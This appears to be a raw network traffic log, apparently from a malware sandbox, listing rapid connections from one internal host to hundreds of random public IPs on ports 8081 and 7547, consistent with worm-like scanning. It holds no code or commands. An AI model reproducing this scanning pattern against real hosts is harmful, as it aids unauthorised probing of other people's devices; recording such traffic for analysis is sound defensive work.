Apr 15, 2024 08:51:55.235595942 CEST	4846	8081	192.168.2.13	200.253.98.138
Apr 15, 2024 08:51:55.235595942 CEST	4846	8081	192.168.2.13	4.137.52.245
Apr 15, 2024 08:51:55.235595942 CEST	4846	8081	192.168.2.13	81.72.149.34
Apr 15, 2024 08:51:55.235595942 CEST	4846	8081	192.168.2.13	88.248.7.29
Apr 15, 2024 08:51:55.235595942 CEST	4846	8081	192.168.2.13	38.127.219.60
Apr 15, 2024 08:51:55.235595942 CEST	6126	7547	192.168.2.13	5.117.193.189
Apr 15, 2024 08:51:55.235595942 CEST	6126	7547	192.168.2.13	118.192.182.207
Apr 15, 2024 08:51:55.235595942 CEST	4846	8081	192.168.2.13	80.49.226.247
Apr 15, 2024 08:51:55.235600948 CEST	4846	8081	192.168.2.13	76.153.68.133
Apr 15, 2024 08:51:55.235600948 CEST	4846	8081	192.168.2.13	174.78.124.19
Apr 15, 2024 08:51:55.235601902 CEST	4846	8081	192.168.2.13	85.141.81.89
Apr 15, 2024 08:51:55.235601902 CEST	4846	8081	192.168.2.13	212.20.27.129
Apr 15, 2024 08:51:55.235601902 CEST	4846	8081	192.168.2.13	220.158.5.195
Apr 15, 2024 08:51:55.235613108 CEST	4846	8081	192.168.2.13	156.122.98.113
Apr 15, 2024 08:51:55.235613108 CEST	4846	8081	192.168.2.13	35.166.52.10
Apr 15, 2024 08:51:55.235614061 CEST	4846	8081	192.168.2.13	13.234.90.254
Apr 15, 2024 08:51:55.235613108 CEST	4846	8081	192.168.2.13	68.124.213.114
Apr 15, 2024 08:51:55.235613108 CEST	4846	8081	192.168.2.13	93.168.133.186
Apr 15, 2024 08:51:55.235614061 CEST	4846	8081	192.168.2.13	83.199.65.25
Apr 15, 2024 08:51:55.235613108 CEST	4846	8081	192.168.2.13	208.40.161.239
Apr 15, 2024 08:51:55.235614061 CEST	6126	7547	192.168.2.13	185.251.90.13
Apr 15, 2024 08:51:55.235613108 CEST	4846	8081	192.168.2.13	34.253.32.150
Apr 15, 2024 08:51:55.235614061 CEST	4846	8081	192.168.2.13	122.12.49.28
Apr 15, 2024 08:51:55.235613108 CEST	4846	8081	192.168.2.13	193.65.132.175
Apr 15, 2024 08:51:55.235614061 CEST	4846	8081	192.168.2.13	152.59.140.104
Apr 15, 2024 08:51:55.235614061 CEST	4846	8081	192.168.2.13	158.60.10.220
Apr 15, 2024 08:51:55.235614061 CEST	6126	7547	192.168.2.13	106.61.102.42
Apr 15, 2024 08:51:55.235620975 CEST	4846	8081	192.168.2.13	53.31.205.98
Apr 15, 2024 08:51:55.235625982 CEST	4846	8081	192.168.2.13	59.152.94.123
Apr 15, 2024 08:51:55.235625982 CEST	4846	8081	192.168.2.13	123.33.57.122
Apr 15, 2024 08:51:55.235625982 CEST	6126	7547	192.168.2.13	120.117.250.124
Apr 15, 2024 08:51:55.235626936 CEST	4846	8081	192.168.2.13	101.101.215.185
Apr 15, 2024 08:51:55.235626936 CEST	4846	8081	192.168.2.13	50.247.184.130
Apr 15, 2024 08:51:55.235646963 CEST	4846	8081	192.168.2.13	184.75.8.189
Apr 15, 2024 08:51:55.235646963 CEST	4846	8081	192.168.2.13	37.249.25.120
Apr 15, 2024 08:51:55.235646963 CEST	4846	8081	192.168.2.13	71.168.240.216
Apr 15, 2024 08:51:55.235646963 CEST	4846	8081	192.168.2.13	12.251.79.185
Apr 15, 2024 08:51:55.235655069 CEST	4846	8081	192.168.2.13	125.98.115.188
Apr 15, 2024 08:51:55.235658884 CEST	4846	8081	192.168.2.13	188.95.34.252
Apr 15, 2024 08:51:55.235660076 CEST	6126	7547	192.168.2.13	204.173.16.193
Apr 15, 2024 08:51:55.235658884 CEST	4846	8081	192.168.2.13	131.71.14.228
Apr 15, 2024 08:51:55.235662937 CEST	4846	8081	192.168.2.13	178.172.126.123
Apr 15, 2024 08:51:55.235660076 CEST	4846	8081	192.168.2.13	115.146.21.211
Apr 15, 2024 08:51:55.235662937 CEST	4846	8081	192.168.2.13	170.68.190.221
Apr 15, 2024 08:51:55.235660076 CEST	4846	8081	192.168.2.13	156.203.135.90
Apr 15, 2024 08:51:55.235662937 CEST	4846	8081	192.168.2.13	118.96.121.67
Apr 15, 2024 08:51:55.235662937 CEST	4846	8081	192.168.2.13	8.118.104.39
Apr 15, 2024 08:51:55.235662937 CEST	6126	7547	192.168.2.13	5.22.128.52
Apr 15, 2024 08:51:55.235687017 CEST	6126	7547	192.168.2.13	40.142.163.9
Apr 15, 2024 08:51:55.235687017 CEST	4846	8081	192.168.2.13	220.200.80.41
Apr 15, 2024 08:51:55.235687017 CEST	4846	8081	192.168.2.13	34.56.125.167
Apr 15, 2024 08:51:55.235687017 CEST	6126	7547	192.168.2.13	143.51.55.108
Apr 15, 2024 08:51:55.235687017 CEST	4846	8081	192.168.2.13	149.92.104.161
Apr 15, 2024 08:51:55.235687017 CEST	4846	8081	192.168.2.13	126.217.249.252
Apr 15, 2024 08:51:55.235687017 CEST	4846	8081	192.168.2.13	178.144.49.44
Apr 15, 2024 08:51:55.235701084 CEST	4846	8081	192.168.2.13	211.225.15.246
Apr 15, 2024 08:51:55.235701084 CEST	4846	8081	192.168.2.13	142.167.249.196
Apr 15, 2024 08:51:55.235701084 CEST	4846	8081	192.168.2.13	45.17.226.73
Apr 15, 2024 08:51:55.235701084 CEST	4846	8081	192.168.2.13	184.187.209.98
Apr 15, 2024 08:51:55.235701084 CEST	6126	7547	192.168.2.13	77.217.26.227
Apr 15, 2024 08:51:55.235704899 CEST	6126	7547	192.168.2.13	185.51.5.142
Apr 15, 2024 08:51:55.235712051 CEST	4846	8081	192.168.2.13	135.138.216.103
Apr 15, 2024 08:51:55.235712051 CEST	6126	7547	192.168.2.13	12.89.27.65
Apr 15, 2024 08:51:55.235712051 CEST	4846	8081	192.168.2.13	67.56.71.11
Apr 15, 2024 08:51:55.235713005 CEST	4846	8081	192.168.2.13	186.40.95.202
Apr 15, 2024 08:51:55.235713005 CEST	6126	7547	192.168.2.13	77.159.135.224
Apr 15, 2024 08:51:55.235716105 CEST	4846	8081	192.168.2.13	101.189.80.62
Apr 15, 2024 08:51:55.235713005 CEST	4846	8081	192.168.2.13	87.147.166.22
Apr 15, 2024 08:51:55.235718012 CEST	4846	8081	192.168.2.13	31.248.36.153
Apr 15, 2024 08:51:55.235713005 CEST	4846	8081	192.168.2.13	49.6.186.140
Apr 15, 2024 08:51:55.235713005 CEST	4846	8081	192.168.2.13	132.125.44.198
Apr 15, 2024 08:51:55.235722065 CEST	4846	8081	192.168.2.13	154.226.64.69
Apr 15, 2024 08:51:55.235733032 CEST	6126	7547	192.168.2.13	19.154.205.96
Apr 15, 2024 08:51:55.235745907 CEST	4846	8081	192.168.2.13	59.47.118.242
Apr 15, 2024 08:51:55.235747099 CEST	4846	8081	192.168.2.13	209.192.4.136
Apr 15, 2024 08:51:55.235749006 CEST	4846	8081	192.168.2.13	105.67.186.250
Apr 15, 2024 08:51:55.235749960 CEST	6126	7547	192.168.2.13	221.45.246.223
Apr 15, 2024 08:51:55.235749006 CEST	4846	8081	192.168.2.13	217.43.43.161
Apr 15, 2024 08:51:55.235747099 CEST	4846	8081	192.168.2.13	120.46.222.86
Apr 15, 2024 08:51:55.235748053 CEST	6126	7547	192.168.2.13	50.9.136.223
Apr 15, 2024 08:51:55.235749960 CEST	4846	8081	192.168.2.13	145.79.189.178
Apr 15, 2024 08:51:55.235750914 CEST	4846	8081	192.168.2.13	58.98.201.153
Apr 15, 2024 08:51:55.235747099 CEST	6126	7547	192.168.2.13	147.111.168.152
Apr 15, 2024 08:51:55.235748053 CEST	6126	7547	192.168.2.13	65.192.17.170
Apr 15, 2024 08:51:55.235758066 CEST	4846	8081	192.168.2.13	90.247.182.84
Apr 15, 2024 08:51:55.235753059 CEST	6126	7547	192.168.2.13	41.126.62.201
Apr 15, 2024 08:51:55.235747099 CEST	4846	8081	192.168.2.13	196.204.162.173
Apr 15, 2024 08:51:55.235758066 CEST	6126	7547	192.168.2.13	42.9.183.217
Apr 15, 2024 08:51:55.235750914 CEST	6126	7547	192.168.2.13	61.233.1.251
Apr 15, 2024 08:51:55.235747099 CEST	4846	8081	192.168.2.13	168.216.114.168
Apr 15, 2024 08:51:55.235750914 CEST	4846	8081	192.168.2.13	97.11.181.189
Apr 15, 2024 08:51:55.235753059 CEST	6126	7547	192.168.2.13	163.254.224.176
Apr 15, 2024 08:51:55.235747099 CEST	4846	8081	192.168.2.13	71.109.118.40
Apr 15, 2024 08:51:55.235753059 CEST	6126	7547	192.168.2.13	122.28.163.60
Apr 15, 2024 08:51:55.235747099 CEST	4846	8081	192.168.2.13	199.87.22.241
Apr 15, 2024 08:51:55.235769987 CEST	4846	8081	192.168.2.13	163.204.97.40
Apr 15, 2024 08:51:55.235753059 CEST	6126	7547	192.168.2.13	92.128.18.91
Apr 15, 2024 08:51:55.235769987 CEST	4846	8081	192.168.2.13	64.201.170.92
Apr 15, 2024 08:51:55.235769987 CEST	6126	7547	192.168.2.13	178.163.57.228
Apr 15, 2024 08:51:55.235774040 CEST	4846	8081	192.168.2.13	141.194.59.95
Apr 15, 2024 08:51:55.235775948 CEST	4846	8081	192.168.2.13	195.249.254.111
Apr 15, 2024 08:51:55.235775948 CEST	4846	8081	192.168.2.13	172.112.237.223
Apr 15, 2024 08:51:55.235791922 CEST	6126	7547	192.168.2.13	51.190.108.144
Apr 15, 2024 08:51:55.235791922 CEST	6126	7547	192.168.2.13	172.14.180.84
Apr 15, 2024 08:51:55.235800982 CEST	6126	7547	192.168.2.13	72.49.235.120
Apr 15, 2024 08:51:55.235805035 CEST	6126	7547	192.168.2.13	8.40.76.218
Apr 15, 2024 08:51:55.235809088 CEST	6126	7547	192.168.2.13	71.111.80.147
Apr 15, 2024 08:51:55.235809088 CEST	6126	7547	192.168.2.13	134.209.123.127
Apr 15, 2024 08:51:55.235810041 CEST	6126	7547	192.168.2.13	47.50.150.171
Apr 15, 2024 08:51:55.235809088 CEST	6126	7547	192.168.2.13	187.43.165.206
Apr 15, 2024 08:51:55.235821962 CEST	6126	7547	192.168.2.13	24.221.27.117
Apr 15, 2024 08:51:55.235831976 CEST	4846	8081	192.168.2.13	77.86.214.1
Apr 15, 2024 08:51:55.235831976 CEST	6126	7547	192.168.2.13	212.246.250.38
Apr 15, 2024 08:51:55.235831976 CEST	6126	7547	192.168.2.13	107.109.72.21
Apr 15, 2024 08:51:55.235832930 CEST	6126	7547	192.168.2.13	149.242.187.194
Apr 15, 2024 08:51:55.235835075 CEST	6126	7547	192.168.2.13	124.173.124.106
Apr 15, 2024 08:51:55.235836983 CEST	6126	7547	192.168.2.13	64.39.208.160
Apr 15, 2024 08:51:55.235841990 CEST	6126	7547	192.168.2.13	157.151.200.166
Apr 15, 2024 08:51:55.235842943 CEST	6126	7547	192.168.2.13	143.241.73.88
Apr 15, 2024 08:51:55.235841990 CEST	6126	7547	192.168.2.13	8.127.224.214
Apr 15, 2024 08:51:55.235872030 CEST	6126	7547	192.168.2.13	102.106.123.147
Apr 15, 2024 08:51:55.235872984 CEST	6126	7547	192.168.2.13	148.66.185.107
Apr 15, 2024 08:51:55.235874891 CEST	6126	7547	192.168.2.13	43.209.70.169
Apr 15, 2024 08:51:55.235874891 CEST	6126	7547	192.168.2.13	175.79.217.241
Apr 15, 2024 08:51:55.235884905 CEST	6126	7547	192.168.2.13	123.130.41.153
Apr 15, 2024 08:51:55.235884905 CEST	6126	7547	192.168.2.13	182.45.158.240
Apr 15, 2024 08:51:55.235892057 CEST	6126	7547	192.168.2.13	204.242.28.56
Apr 15, 2024 08:51:55.235898018 CEST	6126	7547	192.168.2.13	120.104.128.89
Apr 15, 2024 08:51:55.235913038 CEST	6126	7547	192.168.2.13	51.191.9.213
Apr 15, 2024 08:51:55.235913992 CEST	6126	7547	192.168.2.13	129.161.28.178
Apr 15, 2024 08:51:55.235913992 CEST	6126	7547	192.168.2.13	79.245.146.216
Apr 15, 2024 08:51:55.235933065 CEST	6126	7547	192.168.2.13	101.40.67.149
Apr 15, 2024 08:51:55.235939980 CEST	6126	7547	192.168.2.13	115.113.228.189
Apr 15, 2024 08:51:55.235940933 CEST	6126	7547	192.168.2.13	219.187.80.116
Apr 15, 2024 08:51:55.235940933 CEST	6126	7547	192.168.2.13	155.71.98.11
Apr 15, 2024 08:51:55.235941887 CEST	6126	7547	192.168.2.13	189.131.134.166
Apr 15, 2024 08:51:55.235941887 CEST	6126	7547	192.168.2.13	182.243.21.79
Apr 15, 2024 08:51:55.235940933 CEST	6126	7547	192.168.2.13	68.63.71.53
Apr 15, 2024 08:51:55.235943079 CEST	6126	7547	192.168.2.13	152.61.99.191
Apr 15, 2024 08:51:55.235940933 CEST	6126	7547	192.168.2.13	69.170.126.144
Apr 15, 2024 08:51:55.235945940 CEST	6126	7547	192.168.2.13	5.8.211.2
Apr 15, 2024 08:51:55.235940933 CEST	6126	7547	192.168.2.13	159.200.246.157
Apr 15, 2024 08:51:55.235965967 CEST	6126	7547	192.168.2.13	167.226.207.77
Apr 15, 2024 08:51:55.235965967 CEST	6126	7547	192.168.2.13	200.135.12.181
Apr 15, 2024 08:51:55.235970974 CEST	6126	7547	192.168.2.13	134.138.157.239
Apr 15, 2024 08:51:55.235971928 CEST	6126	7547	192.168.2.13	5.182.177.9
Apr 15, 2024 08:51:55.235971928 CEST	6126	7547	192.168.2.13	181.36.75.171
Apr 15, 2024 08:51:55.235976934 CEST	6126	7547	192.168.2.13	13.52.226.217
Apr 15, 2024 08:51:55.235976934 CEST	6126	7547	192.168.2.13	45.173.52.166
Apr 15, 2024 08:51:55.235982895 CEST	6126	7547	192.168.2.13	14.140.225.94
Apr 15, 2024 08:51:55.235994101 CEST	6126	7547	192.168.2.13	155.212.137.216
Apr 15, 2024 08:51:55.235996008 CEST	6126	7547	192.168.2.13	91.47.107.20
Apr 15, 2024 08:51:55.235996008 CEST	6126	7547	192.168.2.13	141.206.190.33
Apr 15, 2024 08:51:55.235996008 CEST	6126	7547	192.168.2.13	187.106.58.127
Apr 15, 2024 08:51:55.235996008 CEST	6126	7547	192.168.2.13	36.213.66.209
Apr 15, 2024 08:51:55.236004114 CEST	6126	7547	192.168.2.13	174.73.150.59
Apr 15, 2024 08:51:55.236004114 CEST	6126	7547	192.168.2.13	37.41.129.8
Apr 15, 2024 08:51:55.236008883 CEST	6126	7547	192.168.2.13	115.143.212.71
Apr 15, 2024 08:51:55.236010075 CEST	6126	7547	192.168.2.13	89.203.115.192
Apr 15, 2024 08:51:55.236008883 CEST	6126	7547	192.168.2.13	173.97.216.231
Apr 15, 2024 08:51:55.236008883 CEST	6126	7547	192.168.2.13	189.204.88.189
Apr 15, 2024 08:51:55.236015081 CEST	6126	7547	192.168.2.13	119.212.171.117
Apr 15, 2024 08:51:55.236015081 CEST	6126	7547	192.168.2.13	54.64.217.58
Apr 15, 2024 08:51:55.236023903 CEST	6126	7547	192.168.2.13	212.83.43.84
Apr 15, 2024 08:51:55.236032963 CEST	6126	7547	192.168.2.13	175.212.142.164
Apr 15, 2024 08:51:55.236032963 CEST	6126	7547	192.168.2.13	45.14.141.42
Apr 15, 2024 08:51:55.236032963 CEST	6126	7547	192.168.2.13	39.42.101.83
Apr 15, 2024 08:51:55.236042023 CEST	6126	7547	192.168.2.13	124.144.185.87
Apr 15, 2024 08:51:55.236048937 CEST	6126	7547	192.168.2.13	1.159.94.218
Apr 15, 2024 08:51:55.236049891 CEST	6126	7547	192.168.2.13	105.71.38.187
Apr 15, 2024 08:51:55.236048937 CEST	6126	7547	192.168.2.13	200.1.184.1
Apr 15, 2024 08:51:55.236049891 CEST	6126	7547	192.168.2.13	149.78.125.210
Apr 15, 2024 08:51:55.236057997 CEST	6126	7547	192.168.2.13	12.101.206.14
Apr 15, 2024 08:51:55.236057997 CEST	6126	7547	192.168.2.13	205.107.4.254
Apr 15, 2024 08:51:55.236066103 CEST	6126	7547	192.168.2.13	47.239.203.164
Apr 15, 2024 08:51:55.236067057 CEST	6126	7547	192.168.2.13	77.102.109.141
Apr 15, 2024 08:51:55.236076117 CEST	6126	7547	192.168.2.13	171.224.50.28
Apr 15, 2024 08:51:55.236076117 CEST	6126	7547	192.168.2.13	212.156.53.102
Apr 15, 2024 08:51:55.236078024 CEST	6126	7547	192.168.2.13	147.237.145.3
Apr 15, 2024 08:51:55.236078978 CEST	6126	7547	192.168.2.13	193.145.153.2
Apr 15, 2024 08:51:55.236078024 CEST	6126	7547	192.168.2.13	139.4.197.248
Apr 15, 2024 08:51:55.236102104 CEST	6126	7547	192.168.2.13	126.87.103.253
Apr 15, 2024 08:51:55.236104012 CEST	6126	7547	192.168.2.13	160.32.248.255
Apr 15, 2024 08:51:55.236105919 CEST	6126	7547	192.168.2.13	19.67.97.252
Apr 15, 2024 08:51:55.236105919 CEST	6126	7547	192.168.2.13	155.91.70.91
Apr 15, 2024 08:51:55.236105919 CEST	6126	7547	192.168.2.13	61.228.125.248
Apr 15, 2024 08:51:55.236113071 CEST	6126	7547	192.168.2.13	219.145.87.162
Apr 15, 2024 08:51:55.236129045 CEST	6126	7547	192.168.2.13	70.178.214.241
Apr 15, 2024 08:51:55.236129045 CEST	6126	7547	192.168.2.13	118.83.95.106
Apr 15, 2024 08:51:55.236131907 CEST	6126	7547	192.168.2.13	14.18.67.237
Apr 15, 2024 08:51:55.236134052 CEST	6126	7547	192.168.2.13	179.124.110.64
Apr 15, 2024 08:51:55.236144066 CEST	6126	7547	192.168.2.13	80.188.201.94
Apr 15, 2024 08:51:55.236152887 CEST	6126	7547	192.168.2.13	38.19.93.161
Apr 15, 2024 08:51:55.236160040 CEST	6126	7547	192.168.2.13	133.95.90.211
Apr 15, 2024 08:51:55.236160040 CEST	6126	7547	192.168.2.13	205.167.246.72
Apr 15, 2024 08:51:55.236167908 CEST	6126	7547	192.168.2.13	91.222.105.174
Apr 15, 2024 08:51:55.236172915 CEST	6126	7547	192.168.2.13	5.131.146.251
Apr 15, 2024 08:51:55.236179113 CEST	6126	7547	192.168.2.13	14.250.230.221
Apr 15, 2024 08:51:55.236179113 CEST	6126	7547	192.168.2.13	62.68.94.14
Apr 15, 2024 08:51:55.236179113 CEST	6126	7547	192.168.2.13	92.185.130.136
Apr 15, 2024 08:51:55.236179113 CEST	6126	7547	192.168.2.13	36.147.165.57
Apr 15, 2024 08:51:55.236185074 CEST	6126	7547	192.168.2.13	27.3.59.230
Apr 15, 2024 08:51:55.236198902 CEST	6126	7547	192.168.2.13	130.142.244.224
Apr 15, 2024 08:51:55.236202002 CEST	6126	7547	192.168.2.13	112.238.97.144
Apr 15, 2024 08:51:55.236231089 CEST	6126	7547	192.168.2.13	154.149.122.46
Apr 15, 2024 08:51:55.236231089 CEST	6126	7547	192.168.2.13	134.89.48.215
Apr 15, 2024 08:51:55.236231089 CEST	6126	7547	192.168.2.13	53.97.145.109
Apr 15, 2024 08:51:55.236232996 CEST	6126	7547	192.168.2.13	62.42.59.218
Apr 15, 2024 08:51:55.236238956 CEST	6126	7547	192.168.2.13	50.54.97.185
Apr 15, 2024 08:51:55.236243963 CEST	6126	7547	192.168.2.13	27.108.135.35
Apr 15, 2024 08:51:55.236244917 CEST	6126	7547	192.168.2.13	182.215.3.71
Apr 15, 2024 08:51:55.236244917 CEST	6126	7547	192.168.2.13	57.84.41.92
Apr 15, 2024 08:51:55.236244917 CEST	6126	7547	192.168.2.13	63.101.242.151
Apr 15, 2024 08:51:55.236248016 CEST	6126	7547	192.168.2.13	213.16.10.147
Apr 15, 2024 08:51:55.236248970 CEST	6126	7547	192.168.2.13	95.1.141.139
Apr 15, 2024 08:51:55.236248016 CEST	6126	7547	192.168.2.13	206.105.229.134
Apr 15, 2024 08:51:55.236254930 CEST	6126	7547	192.168.2.13	91.69.133.94
Apr 15, 2024 08:51:55.236254930 CEST	6126	7547	192.168.2.13	4.227.45.138
Apr 15, 2024 08:51:55.236260891 CEST	6126	7547	192.168.2.13	218.89.252.44
Apr 15, 2024 08:51:55.236270905 CEST	6126	7547	192.168.2.13	112.82.102.178
Apr 15, 2024 08:51:55.236273050 CEST	6126	7547	192.168.2.13	38.63.90.228
Apr 15, 2024 08:51:55.236273050 CEST	6126	7547	192.168.2.13	147.101.174.228
Apr 15, 2024 08:51:55.236279964 CEST	6126	7547	192.168.2.13	108.252.164.153
Apr 15, 2024 08:51:55.236279964 CEST	6126	7547	192.168.2.13	200.69.25.19
Apr 15, 2024 08:51:55.236280918 CEST	6126	7547	192.168.2.13	125.194.238.129
Apr 15, 2024 08:51:55.236280918 CEST	6126	7547	192.168.2.13	36.170.128.1
Apr 15, 2024 08:51:55.236283064 CEST	6126	7547	192.168.2.13	115.87.106.76
Apr 15, 2024 08:51:55.236287117 CEST	6126	7547	192.168.2.13	49.67.242.205
Apr 15, 2024 08:51:55.236294031 CEST	6126	7547	192.168.2.13	49.32.219.71
Apr 15, 2024 08:51:55.236294031 CEST	6126	7547	192.168.2.13	154.148.102.131
Apr 15, 2024 08:51:55.236298084 CEST	6126	7547	192.168.2.13	50.160.156.16
Apr 15, 2024 08:51:55.236299992 CEST	6126	7547	192.168.2.13	124.254.246.231
Apr 15, 2024 08:51:55.236304998 CEST	6126	7547	192.168.2.13	153.214.173.81
Apr 15, 2024 08:51:55.236308098 CEST	6126	7547	192.168.2.13	136.182.133.185
Apr 15, 2024 08:51:55.236308098 CEST	6126	7547	192.168.2.13	74.78.193.169
Apr 15, 2024 08:51:55.236308098 CEST	6126	7547	192.168.2.13	95.146.213.25
Apr 15, 2024 08:51:55.236315966 CEST	6126	7547	192.168.2.13	147.23.138.208
Apr 15, 2024 08:51:55.236330986 CEST	6126	7547	192.168.2.13	89.247.185.223
Apr 15, 2024 08:51:55.236336946 CEST	6126	7547	192.168.2.13	54.113.150.249
Apr 15, 2024 08:51:55.236336946 CEST	6126	7547	192.168.2.13	221.42.231.46
Apr 15, 2024 08:51:55.236341000 CEST	6126	7547	192.168.2.13	40.27.244.228
Apr 15, 2024 08:51:55.236357927 CEST	6126	7547	192.168.2.13	18.70.67.221
Apr 15, 2024 08:51:55.236357927 CEST	6126	7547	192.168.2.13	137.205.190.172
Apr 15, 2024 08:51:55.236357927 CEST	6126	7547	192.168.2.13	154.142.22.8
Apr 15, 2024 08:51:55.236357927 CEST	6126	7547	192.168.2.13	80.176.251.108
Apr 15, 2024 08:51:55.236363888 CEST	6126	7547	192.168.2.13	49.139.65.217
Apr 15, 2024 08:51:55.236377001 CEST	6126	7547	192.168.2.13	174.39.249.212
Apr 15, 2024 08:51:55.236380100 CEST	6126	7547	192.168.2.13	74.225.233.153
Apr 15, 2024 08:51:55.236387014 CEST	6126	7547	192.168.2.13	165.56.133.41
Apr 15, 2024 08:51:55.236388922 CEST	6126	7547	192.168.2.13	5.113.146.109
Apr 15, 2024 08:51:55.236388922 CEST	6126	7547	192.168.2.13	93.15.82.99
Apr 15, 2024 08:51:55.236390114 CEST	6126	7547	192.168.2.13	128.162.195.69
Apr 15, 2024 08:51:55.236393929 CEST	6126	7547	192.168.2.13	203.207.96.148
Apr 15, 2024 08:51:55.236399889 CEST	6126	7547	192.168.2.13	64.3.181.8
Apr 15, 2024 08:51:55.236399889 CEST	6126	7547	192.168.2.13	171.240.62.139
Apr 15, 2024 08:51:55.236406088 CEST	6126	7547	192.168.2.13	105.131.30.182
Apr 15, 2024 08:51:55.236408949 CEST	6126	7547	192.168.2.13	131.14.40.2
Apr 15, 2024 08:51:55.236411095 CEST	6126	7547	192.168.2.13	176.56.113.232
Apr 15, 2024 08:51:55.236417055 CEST	6126	7547	192.168.2.13	77.158.112.252
Apr 15, 2024 08:51:55.236417055 CEST	6126	7547	192.168.2.13	135.13.72.145
Apr 15, 2024 08:51:55.236421108 CEST	6126	7547	192.168.2.13	121.177.240.86
Apr 15, 2024 08:51:55.236427069 CEST	6126	7547	192.168.2.13	184.55.17.58
Apr 15, 2024 08:51:55.236443043 CEST	6126	7547	192.168.2.13	175.203.79.251
Apr 15, 2024 08:51:55.236443996 CEST	6126	7547	192.168.2.13	71.212.119.88
Apr 15, 2024 08:51:55.236444950 CEST	6126	7547	192.168.2.13	59.185.57.241
Apr 15, 2024 08:51:55.236443043 CEST	6126	7547	192.168.2.13	110.198.158.96
Apr 15, 2024 08:51:55.236449957 CEST	6126	7547	192.168.2.13	41.176.201.130
Apr 15, 2024 08:51:55.236450911 CEST	6126	7547	192.168.2.13	156.94.13.203
Apr 15, 2024 08:51:55.236449957 CEST	6126	7547	192.168.2.13	17.136.250.146
Apr 15, 2024 08:51:55.236453056 CEST	6126	7547	192.168.2.13	99.88.118.169
Apr 15, 2024 08:51:55.236450911 CEST	6126	7547	192.168.2.13	143.147.204.142
Apr 15, 2024 08:51:55.236464977 CEST	6126	7547	192.168.2.13	32.200.0.192
Apr 15, 2024 08:51:55.236468077 CEST	6126	7547	192.168.2.13	4.151.114.4
Apr 15, 2024 08:51:55.236465931 CEST	6126	7547	192.168.2.13	19.62.71.99
Apr 15, 2024 08:51:55.236469984 CEST	6126	7547	192.168.2.13	144.73.189.254
Apr 15, 2024 08:51:55.236465931 CEST	6126	7547	192.168.2.13	138.1.165.59
Apr 15, 2024 08:51:55.236473083 CEST	6126	7547	192.168.2.13	198.255.228.8
Apr 15, 2024 08:51:55.236485004 CEST	6126	7547	192.168.2.13	76.18.76.75
Apr 15, 2024 08:51:55.236501932 CEST	6126	7547	192.168.2.13	150.73.177.204
Apr 15, 2024 08:51:55.236505032 CEST	6126	7547	192.168.2.13	32.216.74.118
Apr 15, 2024 08:51:55.236505032 CEST	6126	7547	192.168.2.13	195.214.65.232
Apr 15, 2024 08:51:55.236527920 CEST	6126	7547	192.168.2.13	54.232.4.105
Apr 15, 2024 08:51:55.236527920 CEST	6126	7547	192.168.2.13	146.71.213.239
Apr 15, 2024 08:51:55.236541986 CEST	6126	7547	192.168.2.13	193.220.64.236
Apr 15, 2024 08:51:55.236546040 CEST	6126	7547	192.168.2.13	49.234.133.200
Apr 15, 2024 08:51:55.236547947 CEST	6126	7547	192.168.2.13	130.196.147.203
Apr 15, 2024 08:51:55.236547947 CEST	6126	7547	192.168.2.13	78.53.237.199
Apr 15, 2024 08:51:55.236558914 CEST	6126	7547	192.168.2.13	182.98.193.191
Apr 15, 2024 08:51:55.236558914 CEST	6126	7547	192.168.2.13	218.68.42.205
Apr 15, 2024 08:51:55.236558914 CEST	6126	7547	192.168.2.13	184.77.28.149
Apr 15, 2024 08:51:55.236566067 CEST	6126	7547	192.168.2.13	72.133.99.55
Apr 15, 2024 08:51:55.236566067 CEST	6126	7547	192.168.2.13	155.207.231.114
Apr 15, 2024 08:51:55.236566067 CEST	6126	7547	192.168.2.13	58.88.2.19
Apr 15, 2024 08:51:55.236566067 CEST	6126	7547	192.168.2.13	71.176.190.115
Apr 15, 2024 08:51:55.236583948 CEST	6126	7547	192.168.2.13	70.71.232.164
Apr 15, 2024 08:51:55.236586094 CEST	6126	7547	192.168.2.13	158.138.57.76
Apr 15, 2024 08:51:55.236586094 CEST	6126	7547	192.168.2.13	102.216.199.95
Apr 15, 2024 08:51:55.236586094 CEST	6126	7547	192.168.2.13	64.27.205.76
Apr 15, 2024 08:51:55.236586094 CEST	6126	7547	192.168.2.13	123.245.226.224
Apr 15, 2024 08:51:55.236596107 CEST	6126	7547	192.168.2.13	81.119.91.31
Apr 15, 2024 08:51:55.236597061 CEST	6126	7547	192.168.2.13	20.243.127.2
Apr 15, 2024 08:51:55.236597061 CEST	6126	7547	192.168.2.13	50.213.75.77
Apr 15, 2024 08:51:55.236604929 CEST	6126	7547	192.168.2.13	95.63.81.4
Apr 15, 2024 08:51:55.236619949 CEST	6126	7547	192.168.2.13	158.40.115.0
Apr 15, 2024 08:51:55.236619949 CEST	6126	7547	192.168.2.13	165.11.215.245
Apr 15, 2024 08:51:55.236625910 CEST	6126	7547	192.168.2.13	130.166.26.40
Apr 15, 2024 08:51:55.236627102 CEST	6126	7547	192.168.2.13	150.221.2.191
Apr 15, 2024 08:51:55.236629009 CEST	6126	7547	192.168.2.13	177.55.135.203
Apr 15, 2024 08:51:55.236634970 CEST	6126	7547	192.168.2.13	145.5.255.66
Apr 15, 2024 08:51:55.236646891 CEST	6126	7547	192.168.2.13	153.82.151.135
Apr 15, 2024 08:51:55.236646891 CEST	6126	7547	192.168.2.13	177.14.71.74
Apr 15, 2024 08:51:55.236648083 CEST	6126	7547	192.168.2.13	86.108.25.15
Apr 15, 2024 08:51:55.236646891 CEST	6126	7547	192.168.2.13	8.196.64.158
Apr 15, 2024 08:51:55.236653090 CEST	6126	7547	192.168.2.13	208.142.161.191
Apr 15, 2024 08:51:55.236665010 CEST	6126	7547	192.168.2.13	181.216.45.224
Apr 15, 2024 08:51:55.236665964 CEST	6126	7547	192.168.2.13	48.1.178.70
Apr 15, 2024 08:51:55.236665964 CEST	6126	7547	192.168.2.13	202.233.78.211
Apr 15, 2024 08:51:55.236680031 CEST	6126	7547	192.168.2.13	122.30.22.215
Apr 15, 2024 08:51:55.236692905 CEST	6126	7547	192.168.2.13	85.115.81.109
Apr 15, 2024 08:51:55.236701012 CEST	6126	7547	192.168.2.13	1.151.0.159
Apr 15, 2024 08:51:55.236701012 CEST	6126	7547	192.168.2.13	39.163.180.134
Apr 15, 2024 08:51:55.236704111 CEST	6126	7547	192.168.2.13	184.23.172.44
Apr 15, 2024 08:51:55.236704111 CEST	6126	7547	192.168.2.13	186.223.14.160
Apr 15, 2024 08:51:55.236704111 CEST	6126	7547	192.168.2.13	63.3.77.127
Apr 15, 2024 08:51:55.236704111 CEST	6126	7547	192.168.2.13	99.249.56.148
Apr 15, 2024 08:51:55.236718893 CEST	6126	7547	192.168.2.13	107.102.38.116
